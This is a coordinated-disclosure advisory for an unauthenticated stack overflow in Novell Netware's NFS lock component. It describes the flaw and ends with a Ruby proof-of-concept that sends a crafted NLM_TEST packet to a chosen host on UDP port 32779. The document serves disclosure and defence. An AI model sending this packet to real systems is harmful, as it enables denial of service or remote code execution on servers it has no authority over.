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Application:   Novell Netware XNFS caller_name xdrDecodeString Remote Code Execution Vulnerability

Platforms:   Novell Netware 6.5 SP8

Exploitation:   Remote code execution

CVE Number:  

Novell TID:   5117430

ZDI:   ZDI-12-11

{PRL}:   2012-03

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


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1) Introduction
2) Timeline
3) Technical details
4) PoC


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===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts.

The company specializes in enterprise operating systems, such as SUSE Linux Enterprise

and Novell NetWare; identity, security, and systems management solutions; and

collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software

development. Novell technology contributed to the emergence of local area networks,

which displaced the dominant mainframe computing model and changed computing worldwide.

Today, a primary focus of the company is on developing open source software for

enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Timeline
============================

2011-05-05 - Vulnerability reported to vendor
2012-01-10 - Coordinated public release of advisory

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============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.

Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which

is used when handling NFS RPC requests. This process listens on UDP port 32779. When decoding the xdr

encoded caller_name from an NLM_TEST procedure request the process uses the user supplied length as

the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary

code under the context of the system.


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===========
4) The Code
===========

#!/usr/bin/ruby

require 'socket'

xnfs_server = (ARGV[0])
target_port = (ARGV[1] || 32779)

#RPC/Portmap packet
beepbeep=
"\x1c\xd1\xef\xab"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xb5" + # Program: 100021 
"\x00\x00\x00\x01" + # Program Version: 1 
"\x00\x00\x00\x01" + # Procedure: TEST 

"\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL

"\x00\x00\x00\x02\x00\x00\x00\x02\x07\x40\x38\xb0\x41\x41\x41\x41"




puts "[+]Sending UDP Packet...\n"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(xnfs_server && target_port))
    puts "Usage: PRL-2012-03.rb host port (default port: 32779)\n"
    exit
else
    
    sock = UDPSocket.open
    sock.connect(xnfs_server, target_port.to_i)
    sock.send(beepbeep, 0)
end